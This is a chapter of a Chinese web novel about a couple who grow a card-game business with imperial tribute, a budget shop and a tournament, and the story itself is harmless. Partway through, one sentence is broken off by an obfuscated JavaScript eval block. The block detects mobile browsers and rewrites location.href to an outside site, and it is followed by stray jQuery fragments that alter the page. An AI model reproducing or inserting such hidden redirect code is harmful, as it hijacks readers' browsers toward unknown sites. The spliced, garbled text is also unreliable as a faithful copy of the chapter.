夏末的夜晚，庭院里多了那棵小小的许愿树后，似乎连风都变得格外温柔。


    微风穿堂而入，每天一届的“夜谈会”再次如约“举行”。


    郗萌躺在床上，摇着萧复送的那把白玉骨折扇，无事闲聊道，“妙花牌的生意，近来怎么样了？”


    萧复正懒洋洋地靠在躺椅上，闻言立刻来了精神，桃花眼里闪着光，“那可是风靡了大街小巷！上至达官贵人，下至平民百姓，如今聚会宴饮，谁不摸上几把？咱们那本《妙花攻略》都快被翻烂了，民间还自发琢磨出许多新玩法，什么‘憋七’、‘争上游’，比咱们想的还有趣。”他语气中带着毫不掩饰的得意，“我可是把这些年吃喝玩乐积攒的人脉都用上了，各处的宣传一个不落。酒楼茶肆自不必说，连那些青楼里，牌九都快没人玩了，都在玩儿咱的妙花牌，出货量极大。其实，除了特制的，一般的妙花牌制作成本不高，工艺流程成熟了，出货又快又好，现在就是干赚。”


    “青楼？”郗萌摇扇的手顿了顿，捉住了一个“关键词”，语气里掺了一丝自己都未察觉的凉意，但终究没再往下说。


    萧复瞬间反应过来，机敏地坐直了身子，连忙解释道，“您可别多想。我以前去那儿，只‘酒地’，不‘花天’，就是听听小曲儿，看看美人跳舞，养养眼，歇歇神，找找乐，逾矩之事我可是一件没做过。而且自从您病好了，我只去那儿谈过事，连曲儿都不听了”，他摸了摸鼻子，带着点讪讪的坦诚，“说实话，我也怕那什么……花柳病不是？咱可是‘百花丛中过，片叶不沾身’。”


    郗萌被他这直白的解释逗得差点破功，强忍着笑意，白了他一眼。她心里也明白他话里另一层月未尽之意，一个流连风月、不思进取的纨绔，总比一个励精图治、广结人脉的前朝世子更让朝廷放心。想到这里，那点微妙的吃味也散了，不再揪着此事不放。


    萧复见她神色缓和，立刻又兴致勃勃地汇报起成绩，“还有，我名下的那家雅源茶社，如今也添了新活儿，专设了十几个棋牌雅间，环境清幽雅致，提供上好的棋牌器具。多付银两，还有乐伎在旁演奏清音雅乐，平添玩牌乐趣。这新招又揽来了不少附庸风雅的文人墨客和闺阁女眷。”


    说到此处，他话锋一转，脸上露出一丝愁容，“不过，也有件烦心事。市面上出现了仿冒的妙花牌，虽然做工粗糙，但价格低廉，抢去了咱们不少低层的生意。”


    “防伪呢？我们一开始不是就做了吗？”郗萌蹙眉。


    “是做了，用的还是接近银票的印制规格，花纹复杂，还有暗记。”萧复叹了口气，“可妙花牌本身构造并不复杂，那些仿制的只要形似即可，老百姓图便宜，根本不在意那些精细的防伪。”


    郗萌沉吟片刻，明白古代没有专利保护，这种行为禁不住，思索间眼中灵光一闪，“既然防不住，我们就让他们仿不了。”


    她放下折扇，起身认真道，“我要给咱们的妙花牌找一个最强有力的背书。”


    “你的意思是？”萧复不解地问。


    “向朝廷进贡。”郗萌语出惊人，“给皇上做一套天下独一份的！用最好的纸，或者用金箔玉片，请首屈一指的书画大师绘制牌面，每一张都是艺术品，绝对天下至尊。再顺便给宫里进贡些咱当地的时令特产、奇珍异宝，只有妙花牌还是太孤了。然后，给后宫妃位以上的娘娘们，按品级送上不同品质的妙花牌和精装版的《妙花攻略》。只要宫里兴起玩妙花牌的风潮，这‘皇家御用’的名头，就是最好的招牌。到时候，那些有钱有势的人家，谁不想用上和宫里一样的东西？钱还不是滚滚而来？至于低端市场，就让他们仿去吧，咱不与民争利。我们要赚，就赚顶尖的钱！”


    萧复听得眼睛越来越亮，猛地一拍大腿，“妙啊！此计甚妙！借着进贡的机会，既表达了忠心，又打响了招牌，一举两得！我明日就让书房先生起草奏表……”


    “不，”郗萌打断他，嘴角噙着一抹狡黠的笑，“这奏表，得你亲自写。”


    “我？”萧复面露难色，“我那笔字尚堪入目，但那手文章着实……”


    “就是要你亲自写。”郗萌笃定道，“越是话语浅白，越显得实心实意。在一堆骈四俪六的奏章里，才显得与众不同，皇上看了反而觉得新鲜、真实。你奏表里在请安之余，就写这妙花牌如何有趣，如何能陶冶性情，如何受百姓喜爱，虽然主要是为了玩乐哈。再说你作为驸马，偶得此物，不敢专美，特献于君前，使君与民同乐。你写完再让书房先生看看，别有大的纰漏就行，主打一个真情实感。”


    萧复仔细琢磨着她的话，越想越觉得有理，点头应下，“好，就听你的，我亲自写！”


    郗萌记得原书中皇后与长公主关系甚佳，对原主郗宝宠爱备至，这溺爱也是她长歪的原因之一，但疏通好皇后的关系，对他们的生意确实有裨益。


    “还有，若此事能得皇后娘娘在宫中助力，定当更加顺遂。”郗萌想明日让晓福替自己修书一封给皇后，叙叙旧，顺便提提这妙花牌的新奇之处，再挑些女人喜爱的胭脂首饰，与给皇帝的贡品一同送去京城。


    “多谢……”


    还未等萧复谢完，郗萌郗萌又想起一事，“这生意又不是你一个人的，我也有股，不用这么客气。还有一件事，广源书局的定位是精品、高端，我们何不再开一家‘平源书局’？专卖普通纸张印刷的妙花牌，走亲民路线，定价低廉些，让普通老百姓也买得起。这样把市场区细分开来，但也得让别人知道这‘平源书局’也是萧家的产业，等皇宫带货的效果起来了，即便老百姓在平源书局买的普通牌，也能蹭上‘皇帝也玩同款’的热度。而且，此举也免得让皇家觉得广源书局还卖便宜东西，掉了价。”


    萧复虽然听不太明白有的词，但意思大致了然，不由得对郗萌心悦诚服，抚掌笑道，“还是你想得周全，就按你说的办！”


    翌日，萧复就组织人将夜谈会的“议定事项”紧锣密鼓的落实。郗萌也在晓福的帮助下，依据皇家各人的爱好，忙着挑选各种贡品……


    一个月之后，好消息从京城传来。


    瑞庆帝对那套极尽奢华的“天下第一妙花牌”爱不释手，对萧复那封“文辞质朴、情感真挚”的奏表也颇为受用，加之皇后在后宫推波助澜，妙花牌果然在宫中风靡起来。皇帝一高兴，竟亲笔题写了“天下第一牌”的匾额，赐予广源书局。


    萧复深知这泼天的富贵和荣耀背后，主要不是自己多么笔灿莲花，而是多亏了郗萌的谋划与她在皇家的面子。总觉得自己不知不觉之间，欠下了不少人情……


    匾额送达那日，定城轰动。萧复与郗萌跪接完牌匾，带使者畅游定城，好酒好菜各种招待，充分尽了地主之谊。


    待使者返京，萧复特意带着郗萌去书局、茶社巡视妙花牌的生意。所到之处，只见人头攒动，尤其是广


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920608|192108||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    源书局门前，前来求购“皇家同款”精品妙花牌的人排成了长龙。雅源茶社的棋牌雅间更是天天爆满，预约都排到了半月之后。


    然而，在前往平源书局路上，他们路过一家赌坊，隐约听到里面传来“对尖”、“压上”的呼喝声，用的正是妙花牌的术语。突然还传来一句“我赢了，拿钱拿钱”的高喊。


    郗萌脸上的笑容淡了下去，眸中闪过一丝内疚，“唉，它最终还成了赌具……”


    萧复察觉她的情绪，温声劝解，“这不是你的错。有些人是赌性难改，没有妙花牌，他们也会用骰子、牌九，甚至猜拳来赌。器物本身无善恶，还得看使用之人是何心。”


    “嗯……”郗萌知道他是在安慰自己，轻轻叹了口气，心中复杂难言。


    萧复不想看她失落的模样，“要不这样，咱们举办一场‘广源斗牌大赛’，推广下正宗的妙花玩法，尽量引导大家用于正途娱乐。”


    “这主意挺好，就按你说的办吧。”郗萌心知，赌这东西古往今来都禁不住，只能尽人事听天命了，做总比不做强。


    巡完各处，萧复便找沈焕商议，积极筹备首届“广源斗牌大赛”……


    大赛分为“雅士组”、“闲趣组”和“巾帼组”，雅士组在雅源茶社等高档场所比赛，讲究风度仪态；闲趣组在广源书局前的空地上摆桌，主打亲民热闹；巾帼组则专为女眷开设，选在一处清幽别院进行。比赛报名就足足持续了三日，而后分组、选址、彩头等事更忙的不可开交……


    比赛当日，盛况空前。


    雅士组那边，文人墨客们品茗斗牌，谈笑风生，不时有佳句传出；闲趣组这边，加油声、喝彩声、惋惜声此起彼伏，气氛热烈；巾帼组则珠环翠绕，女子们巧笑嫣然，于方寸牌局间展现女子独有聪慧细腻。


    三组比赛比了五日，才决出状元、榜眼、探花，整个过程也将妙花牌的趣味性和竞技性展现得淋漓尽致，大大提升了其正面形象，连原本有些微词的老学究，见如此盛况，也不再多说什么了。


    斗牌大赛圆满落幕，妙花牌的声望达到了顶峰，妙花生意也更推向了更高，其他州县的人们都玩了起来。


    当晚，萧复将一沓厚厚的银票放到郗萌的梳妆台上，脸上是掩不住的笑意，“来，这是你这个月的分红，看看吧。”


    郗萌拿起来数了数，竟是一万两白银的银票。她虽知妙花牌生意火爆，却也没想到一次分红如此之多，一时有些被钱财镇住。


    “啊？嫌少啊？”萧复挑眉。


    郗萌摇摇头，将银票推回去些，“太多了。我不过是动了动嘴皮子，这些时日真正操劳的是你和沈掌柜他们。而且，这本金、人脉都是你的，我拿这么多，于心不忍呐。”


    萧复见她如此贤良淑德，执意将银票塞回她手中，目光灼灼地看着她，“没有你‘动动嘴皮子’，就没有这‘天下第一牌’。你当得起。我说过，最好的都想给你。”他顿了顿，声音低沉而温柔，“这分红不算什么，聊表心意罢了。以后咱们再接再厉，赚更多的钱，游千山玩万水吃四方，多好。”


    “好。”


    郗萌握着那叠沉甸甸的银票，感受着他话语中的分量，抬眸对上他深邃的眼眸，那里面清晰地映着她的身影，以及一种她越来越无法忽视的情愫。


    窗外，晚风拂过那串五彩的风铃，发出清脆空灵的声响，仿佛在应和着此刻她心中怦然的悸动……